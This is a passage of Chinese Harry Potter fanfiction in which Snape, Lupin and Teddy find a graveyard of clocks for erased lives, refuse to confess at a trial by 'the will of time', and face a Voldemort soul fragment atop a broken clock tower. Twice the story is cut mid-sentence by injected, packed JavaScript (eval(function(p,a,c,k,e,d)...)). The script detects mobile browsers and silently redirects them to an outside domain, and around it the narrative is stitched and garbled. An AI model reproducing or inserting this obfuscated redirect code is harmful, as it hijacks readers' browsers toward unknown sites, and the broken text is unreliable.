斯内普心里不想承认卢平说的有道理,但独自在这个诡异的地方摸索的确不明智。更何况,万一哈利不在那扇水晶门里,而是在这里某个地方…… 如果他还需要你的话。那个恶毒的声音又爬了出来。他用力闭了闭眼。 “跟着可以,”他继续迈开脚步,头也不回地说,“但别碍事。” 他们并肩而行,保持着一定的距离。荒原似乎没有尽头,脚下的土地干裂成蛛网般的纹路,四周依然一片死寂。 两人就这么默默地走了一会儿。“我一直想找机会——”卢平突然开口,“向你道谢。不是因为狼毒药剂,虽然那个我也很感激,我从没想过自己能在变形时保持理智。我是想感谢你一直照顾泰迪——” 斯内普没有理会他,只是稍微放慢了步伐。卢平显然认为这是一种默许。 “那孩子总是说起你,说你教他魔药,虽然你很严厉,可他知道你其实对他很好。”卢平踢开脚边的一块碎石,“他说到你的时候,眼睛都在发光——” “有意思。”斯内普停下脚步,转身面对他,“你是用什么身份在和我说话?” “别自我感觉良好,卢平。我研究改良药剂是为了学术价值,不是为了让你有精力在这里摇尾巴。”他冷漠地扫了眼卢平,“至于那孩子——和你没什么关系。严格来说,他不是你生的,也不是你养大的。” 他向前逼近了一步,语气更加尖锐:“两年前你在哪里?躲在某个角落里自怨自艾?现在来扮演慈父?少在这里装出一副了解他的样子。” 卢平喉结动了动,“你说得对,我没有抱过婴儿的他,没有教他走路,两年里我从来没想过自己会有一个儿子。”他没有争辩,反而坦然承认了,“但那不意味着我不能学。即使我永远无法弥补那些失去的年月,我还是可以学着做一个父亲。” “感人至深。”斯内普冷笑。 “斯内普,我知道我们之间……学生时期确实发生了很多事。”卢平苦笑了一下:“我不是在开脱什么,只是考虑到这些事,我没想到你会为我做狼毒药剂,还一直照顾泰迪。” “我做什么是我的选择。”斯内普大步走到了前面,“与你无关。” “我知道。”卢平点头,“只是——算了,你大概不想听这些。” “那就别说。” 他们继续前行。远处有个地方闪电特别密集,紫色的光芒一道接一道地劈下。 “那里可能有什么。”卢平指着那个方向,“要去看看吗?” 斯内普盯着那片闪电看了一会儿,点了点头。至少比漫无目的地走来走去要好。 他们朝着闪电集中的地方走去。狂风卷起的沙尘让视野变得模糊,走了大约十分钟,前方出现了一个巨大的轮廓。 “是个广场。”卢平眯起眼睛,“很大的广场。” 巨大的圆形广场逐渐在视野中清晰起来,中间是广阔的平台,周围的石柱斜歪倒伏。所有的闪电都聚集在广场中央上空,形成一道扭曲的紫色漩涡。 快到广场边缘时,卢平突然又开口,“斯内普,我在想一件事。” “如果又是关于那些愚蠢的——” “是关于你和哈利。” 斯内普的脚步微微一顿。 “小天狼星一直觉得你对哈利——”卢平的措辞很谨慎,“有某种企图。” “那条疯狗的妄想症又犯了?”斯内普讥讽道,“真是可喜可贺。” 卢平仿佛没听出他语气里的嘲讽,“他的直觉向来很准。毕竟以你和詹姆斯之间的……你和哈利这么亲近,确实让人意外。” “当然我还是觉得他想多了。自从他脑袋里开始塞进那些记忆碎片后,他对哈利简直有点保护过度。我提醒过他,哈利是个成年人,能做出自己的判断。但小天狼星一直坚持认为你别有用心。” “所以?”斯内普压低了声音,“你要说什么?” “所以,我今天特意观察了一下。”卢平继续说,“我注意到的……和小天狼星看到的不太一样。” 斯内普干脆停了下来,转身面对他。 “你注意到了什么?”他一字一顿,“说啊,狼人。用你那敏锐的嗅觉,告诉我,你闻到了什么?” 卢平没有退缩,反而向前迈了半步,“某种我从没想过会在你身上看到的东西。” 斯内普听到自己的心跳不受控制地加速。他想反驳,想用最尖刻的言辞把卢平赶走,但话到嘴边却转为: “你什么都不知道。” “我知道哈利对你很重要。”卢平沉声说,“而且,哈利对你的态度,也和对其他人不太一样。这不是你单方面的,对吧?” “有趣……你现在是代表那条疯狗来试探我?”斯内普声音里渗着毒液,“还是你们商量好了,打算先探探水,再决定是否放他过来咬我一口?” “我只是想说,”卢平语气平和地举起双手,“我不会成为你的敌人。有些事情……我看得比小天狼星清楚。泰迪很依赖你,哈利信任你,对我来说这就足够了。哈利经历了太多,他值得拥有他想要的一切。不管那是什么。” 他轻笑一声,“而且说实话,这不是我该多嘴的事。” 斯内普盯着他看了很久,“真是宽宏大量。格兰芬多的圣人竟然要来祝福我了。” 卢平摇了摇头,正要说什么,却瞄到广场边缘有个身影。 一个棕色男孩盘腿坐在地上,小小的身影在空旷的环境下显得格外醒目。他正专注地摆弄着什么,周围散落着一堆奇怪的东西。 “泰迪?”卢平震惊地喊道,快步冲了过去。斯内普也紧随其后。 男孩抬起头,看到来人时,脸上顿时露出惊喜的笑容,头发瞬间染成温暖的金色:“爸爸!西弗!” 他从地上一跃而起,飞奔过来,先扑进父亲怀里紧紧抱了一下,然后毫不犹豫地也抱了抱斯内普。斯内普僵硬地拍了拍男孩的背。 “你怎么会在这里?”卢平蹲下身,双手扶着儿子的肩膀,上下打量着他,“有没有受伤?” “我没事。”泰迪看起来的确没有受伤,只是有些困惑,“我在公共休息室写作业,金光一闪就到这里了。” “只有你一个人?”卢平担忧地问。 “对,就我一个。”泰迪有点委屈地说,“我正发愁怎么回去呢,没有魔杖什么都做不了。”说完他意识到了什么,“爸爸,西弗,你们怎么也在这里?这里是哪里?” 斯内普的目光已经落在泰迪身边的东西上。那是一堆钟表——各种各样的钟表。怀表、座钟、闹钟、挂钟,有些华丽精致,有些朴素简单,但无一例外,全都停止了走动。 泰迪循着他的目光低头看去:“啊!这里很奇怪,到处都是各种钟表!这是我刚刚收集的一些。”他张开手臂,示意他们看向广场内部,“你们看——” 两人这才注意到,除了泰迪身边的这一小堆,整个广场的地面上,散落着无数破碎停摆的钟表。座钟的残骸、扭曲的怀表链、摔碎了表盘的手表……密密麻麻,一望无际。广场内没有任何声音,连风声都消失了,寂静本身变成了一种沉重的存在。 这里是一片时间的坟场。 “你刚刚在看什么?”斯内普收回目光。 “这些钟表。”泰迪蹲下身,捡起一块银色怀表,“我刚到这里时它们就在了。起初我以为只是普通的破钟,但后来发现……” 他把怀表翻过来,指着背面:“每一个都有类似的刻字。看——应该是名字缩写,还有年份。” 他递给卢平一个座钟:“这个是F.W.1978-1998。” 卢平接过来,眉头皱得更紧:“1978年出生,1998年……这些是生卒年份?但现在才1993年。” “还有这个。”泰迪又拿起一个破旧的闹钟,“F.B.1926-1994。” 他继续捡起几个,“这个是B.J.1958-1980,C.D.1977-1995,这个是……”他的手突然停住了,盯着手中的一只小金表。 “泰迪?”卢平立刻察觉到儿子的异常。 “这个……”泰迪的情绪似乎一下子低落了下来,“缩写是H.P.。” 斯内普从泰迪手中接过怀表,翻到背面。花体字刻着:H.P.1980-1992。 H.P.——两个字母可以组合成很多名字,但斯内普知道自己和泰迪想到的是同一个。哈利·波特,1980年出生,1992年……那一年,他死去了。 是另一个哈利。那个在这个时间线死去的男孩。那个因为成年哈利的到来而被时间法则牺牲的孩子。 “这些是被抹去的人生。”斯内普低声说,“记录着某个人曾经的生命轨迹。” 卢平和泰迪都看向他。 “什么意思?”泰迪疑惑地问。 卢平的脸色却变了:“你是说这些都是——” “时间被改变了,”斯内普的目光停在那个刻着H.P.的小金表上,“当原本的轨迹被改变,那些生命就被覆盖。这些钟表,或许记录了那些曾经存在过、但已经被抹去的命运。” 卢平已经开始在钟表堆里翻找,动作越来越急切。他的手在碎片中摸索,像在寻找什么他既渴望又害怕找到的东西。 直到他的手指碰到了两块缠在一起的表。 这两块表的表链缠得死死的,仿佛永远不愿分开。卢平费了点劲才看清背面的刻字: R.L.1960-1998 N.T.1973-1998 他的手开始发抖。斯内普看了一眼那两个缩写,心也沉了下来。R.L.,莱姆斯·卢平,1960年出生——毫无疑问是属于他自己的表,或者,属于另一个在战争中死去的莱姆斯·卢平。至于那另一个名字…… “莱姆斯·卢平。”卢平沉默了很久,才低声说,“和尼法朵拉·唐克斯。如果我没猜错的话。” 泰迪瞪大了眼睛,低头看着那两块纠缠的表,再看看父亲。 “你和妈妈?”他的声音很小,“可是妈妈不是还……” 两块表在卢平手中微微发光。 “这应该是……另一个时间线的我们。”卢平看着那死结般的表链,艰难地解释,“原来那个世界里,你父母的。” 他盯着背后的死亡年份:“1998年,同一年。看这两块表缠得这么紧……大概是一起走的。” 泰迪咬着下唇,眼眶慢慢红了。他伸出手,小心翼翼地接过那两块表。表链在他手心里还是那样紧密地缠绕着,仿佛即使死亡也无法将他们分开。 “我知道,哈利和我说过的。他们是一起走的。”泰迪低声说,指尖轻抚着冰冷的金属,“至少……他们在一起。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247647|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一滴眼泪落在表面上,又滑落下去。 “泰迪。”卢平轻轻搂住儿子的肩膀,“我很抱歉。” 虽然他不是死去的那个莱姆斯·卢平,但这句道歉,或许正是泰迪一直需要听到的。 泰迪摇着头,把那两块表贴在胸前:“这两块表可以带出去吗?我想把它们埋在一起,在一个漂亮的地方。他们会喜欢的。” “我们可以试试看。”卢平答应道,“如果能带出去,我们会找个最美的地方。” 斯内普悄无声息地退开几步,给父子俩一点独处的空间。他走到稍远的地方,开始在其他钟表中寻找。各种陌生的缩写从眼前掠过,他知道自己在找什么,也知道一定会找到。 没多久,他的手停在了一个黑色的怀表上。 表面很简洁,只有一个小小的银蛇装饰。他慢慢翻过来。 S.S.1960-1998 他盯着死亡年份,感觉那数字如同自己墓碑上的刻字。1998年,另一个时间线里,他死在了1998年。 那个哈利记忆里爱着的斯内普。 斯内普用拇指摩挲着怀表表面,黑色的金属冰冷而光滑。然后,他环顾四周,确认另外两人没有注意这边,才悄悄把怀表揣进了长袍最深的口袋里。 “西弗?”泰迪的声音让他转过身。男孩已经擦干了眼泪,正朝他走来,“你也在找什么吗?” “没什么。”斯内普的手从口袋里抽出来。 泰迪好奇地看了他一眼,指向不远处:“那边有个特别大的。” 在广场的另一侧,一座落地钟孤零零地躺在碎石堆里。橡木的钟身已经腐朽,露出内部复杂的齿轮结构。玻璃门碎成了蛛网,巨大的钟摆歪斜地垂在一边,宛如死去巨人的手臂。 三个人绕过去查看,在钟身背面找到了刻字: A.D.1881-1997 斯内普和卢平同时陷入了沉默。 “阿不思。”良久,卢平才像是叹息般地说出这个名字。 就连泰迪也认出了这个缩写的含义。他们默默地站在这座巨钟前。 片刻后,泰迪才打破了沉默:“我发现了一件奇怪的事。” 他带他们走回之前整理的那堆钟表:“我看了这么多,没一个死亡年份超过2003年的。” “什么?” “你们看,”泰迪指着那堆钟表,“这些都是2003年结束的。C.C.、M.W.、R.W.、H.G.、F.D.还有M.M.……好多都是。” 斯内普蹲下身,仔细查看那些缩写。两个字母可以代表无数种可能,但为什么最晚的死亡年份只到2003年? “看看其他的。”斯内普说。 他们分头行动,检查了一个又一个钟表。很快,一个令人不安的规律显现出来——死亡年份集中在两个时间段:有一批在1997或1998年,但最多的、绝大多数的都是2003年。 当他们重新聚在一起时,脸色都不太好看。 最终,他们停下动作,面面相觑。几乎所有能找到的钟表,死亡年份都不晚于2003年。 “所有的钟表,”卢平缓缓说道,“所有人,死亡时间都不晚于2003年。” 斯内普和他交换了一个凝重的眼神。2003年——为什么是这个特定的年份? “也许——”卢平刚要开口,整个广场突然剧烈震动起来。 咚——咚——咚—— 沉重的钟声毫无预兆地响起,震得脚下的碎石微微跳动。那些散落的钟表像被唤醒一般,发出杂乱的滴答声,指针疯狂旋转,随后又齐齐停滞。 三人同时抬头。 广场中央,耸立着一座巨大的塔。 它并非突然出现的。斯内普意识到,它一直存在,只是他们直到现在才真正看见它。 那是一座时钟塔——或者说,曾经是。 如今它已经完全破碎,像被巨大力量撕裂后草率拼接的怪物。断裂的楼梯悬在半空,巨大的齿轮错位地咬合着,发出令人牙酸的吱嘎声。无数银色的细线在塔楼周围流淌,有些打成了死结,有些断裂露出虚空,有些纠缠成混乱的漩涡。 塔顶的巨钟尚算完好,然而钟面上盘踞着一团黑色阴影。 那不是普通的阴影。它在不停蠕动着,黑色的触手从中伸出,贪婪地抓向那些银线。每当成功缠住一根,银线就会迅速变黑、枯萎,最终化作灰烬飘散在空中。 “梅林啊。”泰迪不自觉地后退了一步,“那是什么?” 那团东西散发的恶意太过浓烈,即使隔着这么远也能感受到。斯内普觉得这种感觉似曾相识——在哪里?什么时候? “它在吞噬那些线。”卢平把泰迪拉到身后,“我们不该太靠近。” “然后呢?”斯内普反问,“在这里等到地老天荒?” “总比送死好。” “看看四周,卢平。”斯内普发出一声嘲讽,“除了这个广场和那座塔,这里一无所有。没有出口,显然也没有其他路。你打算等那只该死的凤凰大发慈悲来把我们接走?” 他的目光落在那些被吞噬的银线上:“还是等那东西把所有银线吞噬干净,看看会发生什么?” 卢平张了张嘴,却无法反驳。这里确实没有其他选择。 “那只凤凰把我们送到这里,”斯内普继续道,“必然有它的目的。答案就在那座塔里。” “爸爸,”泰迪轻轻拉了拉卢平的袖子,“西弗说得对。我们不能一直待在这里。” “太危险了,泰迪。” “留在这里就不危险吗?”泰迪抬头看着父亲,然后皱起眉,“而且——那个东西给我的感觉很熟悉。” 斯内普锐利地看了他一眼:“熟悉?” “不是完全一样,但那种感觉……”泰迪皱着眉努力形容,“有点像我以前遇到的黑巫师——”他犹豫了一下,“食死徒。” 两个大人对视了一眼。 “如果必须面对它,”泰迪坚定地说,“我的能力可能有用。我不是小孩子了,爸爸,西弗。” 沉默片刻后,斯内普说:“走在我们中间。一步都不许离开。感觉到任何异常立刻说出来。” 他们开始向塔楼走去。 每走近一步,那种恶意就更强烈一分。空气变得粘稠,连呼吸都困难起来。 当他们走到塔楼底部时,斯内普终于想起了那种熟悉感的来源。 黑魔标记。 那团东西散发的恶意,和黑魔标记灼烧时的感觉如出一辙,只是强烈了千百倍。 “是他。”斯内普低声说,手不自觉地按住左臂,“或者说,是他的一部分。” 卢平立刻明白了他的意思,脸色变得苍白。 泰迪看看两人:“谁?” 还没等他们回答,塔顶的黑影突然剧烈翻滚起来。 与此同时,好像有数不清的声音响起,如同千万个灵魂在尖叫: “终于……有人来了……” 129. 罪罚之间 那千万个声音带来了无穷的恶意,沉重地压迫着塔顶的空气。 泰迪本能地退了一步,撞在父亲身上。卢平的手立刻扶住他,紧紧地握住他的肩膀。斯内普站在原地没动,黑眼睛紧盯着塔顶那团不断变换形状的阴影。 “它知道我们来了。”泰迪的声音有些发抖。 “当然知道。”斯内普语气冷淡,“问题是它打算做什么。” 黑影翻滚着,更多的触手从中伸出,贪婪地缠向那些银线。每一次吞噬都伴随着细微的撕裂声。 “看起来它被困在那里。”卢平观察了片刻,“至少暂时是这样。” 斯内普没有回应,只是转身走向塔楼底部,找到了入口——一个黑洞洞的拱门。 “走吧。”他率先跨过门槛。 卢平看了看泰迪,示意他走在前面,自己则断后。一踏进去,外界的景象就消失了。无尽的黑暗中,只有一条螺旋楼梯在微弱的光辉中隐现,石阶磨损严重,有些地方已经碎裂成粉末。 他们开始攀登。楼梯又窄又陡,每一步都需要小心试探。走了几步后,墙壁渐渐亮了起来。 是壁画。整面墙上,古老的金色和赭石色颜料绘制着一个个场景。画面在缓慢地动着,人影在其中移动,重复着各自的动作。 第一幅画是四个并肩而立的身影。最左边的男人身后是一座石拱门,第二个男人手上捧着水晶瓶,第三个女人身边立着一面比她还高的镜子,最右边的少女怀中抱着一个八音盒。 “四兄妹。”卢平轻声说,“格林德沃提到的故事。” 斯内普瞥了一眼便继续往上走。楼梯继续螺旋上升,壁画也随之展开。 接下来的画面中,一个男人站在音乐盒前,扭动发条,走进了金色音符的漩涡。从旋涡出来后,他用魔杖击倒了另一个自己。男人一次又一次地回到音乐盒前,身形愈加佝偻,步伐也更加蹒跚。 旁边,一个少年与少女并肩举起水瓶,倾斜着倒出银色液体。液体化为雾气,少年面容瞬间老去,少女却依然年轻如初。 “走快点。”斯内普催促道,瞥了眼伸手想触摸墙壁的泰迪,“别碰任何东西。” 楼梯在这里拐了个弯。当他们转过拐角,三人同时停下了脚步。 这幅壁画占据了整整一面墙。 一个婴儿坐在地上,额头有道闪电形的伤口,黑色的阴影从伤口处缓缓渗入。画中的婴儿慢慢长大,但那团黑影也在他体内生长。 泰迪抓紧了父亲的手。 而下一幅画面中,成年男子带着男孩穿过石拱门。就在他们穿越的瞬间,男人额头的伤疤裂开,一团黑影从中挣脱,带着无数触手飞向上方,而男孩的身体被拉长,从幼童变成了少年。 “那个——”泰迪瞪大眼睛,“那是我和哈利!” 卢平的手指收紧了,目光凝视着儿子被拉长的身影。 斯内普则注视着那团脱离的黑影。它找到了一座钟塔,缠绕上去,开始吞噬和生长。 现在,一切都清楚了。塔顶的那个怪物,正是在哈利体内复活的伏地魔的灵魂碎片。 他们继续向上攀爬。壁画不断延展,然而其中的画面逐渐模糊,色彩从金色渐变为灰白。人物逐渐重叠,画面陷入混乱。 台阶似乎没有尽头。泰迪的呼吸越来越急促,脚步也拖沓起来。 “累了?”斯内普回头看了看。 “没——”泰迪刚要否认,就脚下一滑。卢平立刻扶住他,蹲下来替儿子擦掉脸上的冷汗。 “休息一会儿吧。”卢平说。 “不行。”斯内普转身,扫了一眼泰迪苍白的脸,目光又掠过墙上仍在动的壁画,“这地方不对劲。停留越久越危险。” 他走回来,对泰迪伸出自己的手臂:“扶着我。” 泰迪点点头,抓着斯内普的手臂,另一只手被父亲扶着。三人继续加快步伐。 又爬了一段,前方的石阶突然断裂,露出一道发着微光的缺口。透过缺口,隐约可以看到一个广阔的空间。 “绕不过去。”卢平仔细观察缺口后判断道,“只能进去了。” 斯内普毫不犹豫,率先跨过光门。很快,他们先后进入一个圆形大厅。黑色的地面光滑如镜,大厅中央整齐排列着三座石台,每座台面都是由漆黑的大理石雕刻而成,表面布满复杂的符文,顶部平整光滑,专门为他们准备的一般。 “这是什么——” 泰迪的话还没说完,一股无形的力量突然袭来。斯内普感觉自己的身体不受控制地向前滑去,尽管他竭力抵抗,但那股力量却异常强大,根本无法抗拒。 “爸爸!”泰迪惊叫着,伸手想要抓住卢平。 卢平也在挣扎,可惜同样徒劳。三个人被分别拖到了三座石台前,接着—— 砰。 他们被甩上了平台。斯内普单膝跪地,勉强稳住身形。卢平踉跄了几步,泰迪则直接跌在平台上,发出一声痛呼。 “泰迪!”卢平急切地想要冲过去,却发现自己的双脚像是被钉在了平台上,完全无法移动。 三道光柱从虚无中降下,将他们笼罩其中。光线冰冷刺骨,斯内普感觉自己的灵魂都被剖开了,每一个秘密和想法都暴露无遗。 大厅的四周倏然有了动静。原本空无一人的地方,阴影聚集而来,凝结成模糊的人形。他们坐在看不见的座位上,面容隐藏在黑暗中,像一群沉默的幽灵。 石台的形状开始改变。黑色大理石向上延伸,在他们身后形成了高背,前方升起了扶手。三座审判席悄然成形,将他们困在其中。 “罪人已就位。” 一个威严而冰冷的声音从虚空中传来,宣布道:“审判开始。” 观众席上爆发出一阵窃窃私语声,但他们三个人一个字也听不清楚。 “莱姆斯·约翰·卢平。” 卢平的光柱骤然炽烈,白光刺得他不得不闭上眼睛。 “你原本的命运是在1998年5月2日终结,于霍格沃茨最后一战中与妻子尼法朵拉·唐克斯共同殉难,为保护学校而死。你们本该留下一个孤儿。” 卢平的手指痉挛般地蜷缩起来。 “然而时间的轨迹已被扭曲,你偏离了既定的道路。”那声音毫无感情地陈述着,“你接纳了一个不属于此时此地的孩子。你明知他的来历,他的到来,使一个原属于这里的生命无法诞生。即便你将来有了后代,那个孩子在出生瞬间也必将消亡。时间法则不容许相同存在并立。” “你剥夺了一个生命的可能性。对此指控,你是否承认有罪?” 卢平脸色惨白,低头看向泰迪——男孩也望着他,眼中充满了惊恐与愧疚,金色的头发已经完全转为浅绿色。 “我……”卢平沙哑着开了口。 众席上的模糊身影纷纷倾身而前,等待着他的回答。 但不等卢平开口,声音便转向了泰迪,光柱像聚光灯般照在他那瘦小的身影上。 “爱德华·莱姆斯·卢平。” “你的存在本身即为最重大的罪行。”声音说,“你生于1998年,却存在于1993年。你是一个错误,一个本不应出现在这个时间的灵魂。” 泰迪低下头,身体剧烈颤抖起来。 “因你之故,另一个泰迪·卢平的生命被永远抹去。你占据了他的位置,夺走了他的未来,那些本该属于他的相遇、经历、情感,全部被你的存在所取代。承认你的罪行,孩子,唯有如此你才能获得解脱。” “不……”泰迪的声音小得几乎听不见,眼泪开始在眼眶里打转,“我不是故意的……我不知道……” “无知并非无罪的理由。”声音逼问道,“你是否认罪?” “我……我……”泰迪嗫嚅着,“对不起……我真的……” “住口!”卢平怒吼道,“不准你这样对我的儿子说话!” 他转向泰迪,“泰迪,抬起头看着我。” 泰迪泪眼模糊地看向父亲。 “不要听它胡说。你没有做错任何事,听清楚了吗?” 泰迪用力抹去眼泪,眼泪依旧汹涌而出:“可是爸爸,它说的对……因为我,另一个我不能出生了……” “那不是你的错。”卢平语气无比坚定,“记得我告诉你什么吗?你是我的奇迹。现在也是。你没有选择来到这里,你的存在不是错误。” 泰迪抽噎着,但慢慢停止了颤抖。 “够了。”斯内普面无表情地开口,“躲在暗处恐吓一个孩子,这就是你的本事?” 他目光锐利地扫视四周,毫不留情地质问:“藏头露尾,连真面目都不敢显现,你算什么东西?连个名字都不敢说,凭什么审判我们?” “时间的意志不需要名字。”那个声音冰冷地回应。 “时间的意志?”斯内普不屑地冷笑一声,“时间不讲意志,只有规则。而你——不过是个寄生在恐惧与愧疚之上的可怜虫。” 观众席上的窃窃私语声戛然而止。 “西弗勒斯·托比亚斯·斯内普。” 第三道光柱猛然亮起,刺眼的光芒迫使斯内普眯起眼睛。但他没有完全闭上眼,而是带着挑衅的目光直视着光柱。 “你原定的结局是1998年5月2日,死于尖叫棚屋,被毒蛇撕咬,流尽最后一滴血。”声音缓慢地叙述着,“你本该带着对莉莉·伊万斯永恒的眷恋,带着对她儿子的守护之情,成为被后世铭记的英雄。你的画像将悬挂在校长办公室,供人瞻仰。” 斯内普紧抿着嘴唇,一言不发。 “然而你背离了命定的轨道。”声音变得冷酷起来,“你对那个不属于此时空的闯入者——哈利·波特,产生了不该有的情感。” “你扭曲了他的命运轨迹。他本该独自背负重担,在孤独中锻造成救世主。因你之故,一切都偏离了正轨。” “你是否认罪?” 观众席的窃窃私语声再次响起。斯内普扫视那些模糊的人影,鼻间发出一声轻蔑的嗤笑。 “罪?”他双手抱臂,声音里充满了恶意的嘲讽,“我爱上谁,轮得到你来评判?恐怕你还没有这个资格。至于他是时间旅行者还是什么救世主——”他冷笑着,“又关你什么事?我倒想看看,你除了在这里玩弄些吓唬小孩的把戏,还能做什么。” “西弗说得对!” 泰迪突然插话,他的泪痕还未干,脸上却满是坚定,“爱怎么会是罪?哈利和西弗相爱,这有什么错?” 卢平猛地呛咳起来。他不敢相信地看着儿子,嘴巴张了又合,又快速瞄了眼斯内普,说话时竟然有点结巴:“泰迪……你……你刚才说的……是……” “哈利在复活节后就告诉我了。”泰迪用袖子擦了擦眼泪,抬起下巴,金色开始重新出现在他的发梢,“他说他爱西弗,而西弗也爱他。” 卢平的目光转到斯内普身上,震惊中带着不可置信。他上下打量着斯内普,过了好一会儿才开口,声音还有些飘忽:“我刚才还说哈利对你是有点不太一样……”他停了停,“我以为你们只是……互相有些感觉,没想到已经……” 斯内普毫不回避卢平的目光,眼神中透着浓烈的挑衅。 “对,已经。”他简短而直接地回答,微微扬起下巴,“怎么,狼人先生打算收回刚才的话?还是想像那条疯狗一样冲上来给我一拳?” 卢平的脸色变了又变,从震惊到困惑,从困惑到无奈,最后定格为一种哭笑不得的表情。他轻轻摇头,苦笑着开口:“我说过,这不是我该管的事。” 他脸上有些尴尬,“只是没想到你们已经……到这一步了。”他揉了揉额头,似乎仍在消化这突如其来的事实,“梅林,哈利真的……而你也……” 斯内普心中却涌起一股隐秘的满足感。卢平知道了,而且没有反对。很好,知道的人越多越好。 知道的人越多,哈利就越难摆脱他。哪怕哈利真有这个想法,他也会让对方明白,甩开他是根本不可能的。 卢平又看了斯内普一眼:“小天狼星知道了会发疯的。还有詹姆斯,他现在什么都不知道。我简直不敢想象……” “哦,拭目以待。”斯内普毫无同情心地说,语气里的那份隐秘的得意更明显了,“他们的表情一定会很精彩。我会记得拍下来天天欣赏的。” “可是爸爸,”泰迪困惑地看着父亲,“相爱不是一件好事吗?哈利和西弗在一起很快乐啊,这有什么问题吗?” 面对儿子纯真的疑惑,卢平沉默片刻,然后轻笑出声。 “你说得对,泰迪。”他温和地说,“没有问题。一点问题都没有。” 接着,他转向那个看不见的审判者:“我拒绝认罪。泰迪是我的儿子,不管他来自哪里,不管他是否‘应该’存在。他就是我的儿子,我这一生唯一的孩子。” “爸爸……”泰迪的眼泪又涌了出来。 “而且,”卢平温柔而坚定地看向泰迪,“不管我将来是否会遇到什么人,我都不会再有其他孩子了。你听到了吗,泰迪?你是我唯一的儿子,永远都是。你的存在本身就是奇迹,不是什么罪恶。” “说得好。”斯内普接话,他也转向泰迪,眼神柔和了一些,“记住,泰迪,存在本身永远不是错误。错的是那些妄图定义什么该存在、什么不该存在的——“他冷眼扫向虚空,“自以为是的蠢货。” 泰迪用力点头,头发慢慢从深褐色变回了金色。 “那我也不认罪!我没有要求来到这里,但我就是来了。这不是罪!” “你们必须认罪!”声音突然变得极为愤怒,整个大厅都在震动,“你们必须承认对时间的扭曲!承认你们的存在是错误!” 观众席上的身影们开始躁动,发出嘶嘶的声响。 “拒绝认罪者,”声音威胁道,“你将永远被囚禁于此,成为时间废墟的一部分!” 光柱开始收紧,斯内普感觉到一种可怕的拉扯感,泰迪发出痛苦的呻吟,卢平也在咬牙坚持。 “认罪!”声音咆哮。 “绝不!”三人的声音几乎同时响起。 刹那间,所有声音都消失了。 光柱褪去,观众席上的身影如烟雾般消散。大厅另一侧的铁门在刺耳的摩擦声中缓缓开启,露出黑洞洞的入口。 三座石台同时降回地面。束缚刚一消失,泰迪就跌跌撞撞地冲向卢平,扑进他怀里。 “爸爸,我害怕……我以为它要把我们分开了……” “没事了。”卢平紧紧抱住他,“我们通过了,谁也不能把你从我身边带走。” 斯内普站起身,整理了一下袍子。他看向那扇敞开的门,又回头看了一眼空荡荡的审判大厅。 “走吧。”他说,“在这个鬼地方改变主意之前。” 他们快速穿过大厅。跨过门槛的瞬间,斯内普回头看了最后一眼。大厅正在崩解,地面出现裂缝,墙壁开始剥落。 新的楼梯出现在他们面前,比之前更陡峭了,而且许多台阶已经碎裂,部分石板只剩下半截悬空。 斯内普审视了一下周围的情况,随即跃上了第一个尚算完整的台阶。石板在他的重量下微微晃动,他稳住身形,转身蹲下,向泰迪伸出手。 “抓紧。” 泰迪向前一步,卢平托住他的腰,把他往上举。斯内普抓住男孩的手腕,一把将他拉了上来。然后又和泰迪一起,合力把卢平也拉了上来。 他们就这样艰难地向上攀爬。墙上的画面愈发混乱,但他们无暇细看,只是一门心思地向上爬。 越往上走,空气就越是寒冷。泰迪的脚步开始变得沉重,他的头发染上死气沉沉的灰色,呼吸又急促了起来。 “我……我好冷……”他小声说,身体不受控制地发抖。 “泰迪?”卢平立即停下脚步,蹲下身扶住他,脸上满是担忧。 “是他的灵视能力。看来我们已经离塔顶不远了。”斯内普的额头也渗出了汗水,黑发贴在脸颊上。他的左臂自从刚才起便开始火辣辣地痛。他扯下披风一把裹住泰迪,“坚持住,快到了。” 他们继续向上,每一步都比上一步更为艰难。终于,前方出现了光亮。他们几乎是爬着进入了塔顶。 巨大的钟面占据了整个穹顶,钟面上,那个阴影生物正在蠕动。 现在近距离看,它比从下面看更加恐怖。黑色的实体像活着的焦油,不断地变换形状。无数触手从中伸出,已经缠绕了大半个钟面,正在向四周的银线延伸。 “它在扩张。”斯内普紧紧皱起了眉头。如果任由它继续吞噬银线,谁知道它会不会找到离开的方法?想到它可能会威胁到哈利,他的脸色立刻变得阴沉。 泰迪只看了一眼便捂住了脑袋。 卢平下意识把泰迪护在身后,求助地望向斯内普:“我们没有魔杖,怎么办?” “这已经不仅仅是灵魂了,恐怕不那么容易消灭。”斯内普盯着那个怪物,大脑飞速运转。摧毁它几乎不可能,但或许可以削弱它。 泰迪抱着头,整个人都弯下了腰,“它想要吞噬一切……” 卢平马上扶住他,同时挡住他的视线:“别看它,泰迪。” “不行……”泰迪大口喘着气,“它太强了……这股恶意,完全就是一片黑暗……” 斯内普看着男孩痛苦的模样,脑海中闪过一个念头。吞噬一切,纯粹的黑暗…… “守护神咒。”他沉声说道。 卢平的眼睛亮了起来:“是啊,守护神咒或许能对抗它。但是没有魔杖——” “这里的规则不同。”斯内普打断他,已经抬起了右手,“也许意念就够了。试试看。” 他闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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地窖里的火焰威士忌还在舌尖燃烧。哈利吻上来时带着酒气,鲁莽得令人措手不及。他本该推开,手指却已经抓住了对方的衣领。 密道的门被推开,哈利穿着睡袍走出来,装作若无其事,眼神却在说着完全相反的话。 最后是那些疲惫的夜晚。哈利靠在他肩膀上睡着,温暖的重量让他不愿移动。他的手臂收紧了,把这个毫无防备的人圈得更牢,试图把这份他从未想过会得到的信任永远锁在怀里。 不再是莉莉的儿子,不再是所谓的救世主。不是什么波特,也不是佩弗利尔。 就只是哈利——那个改变了他整个世界的人。 “呼神护卫!” 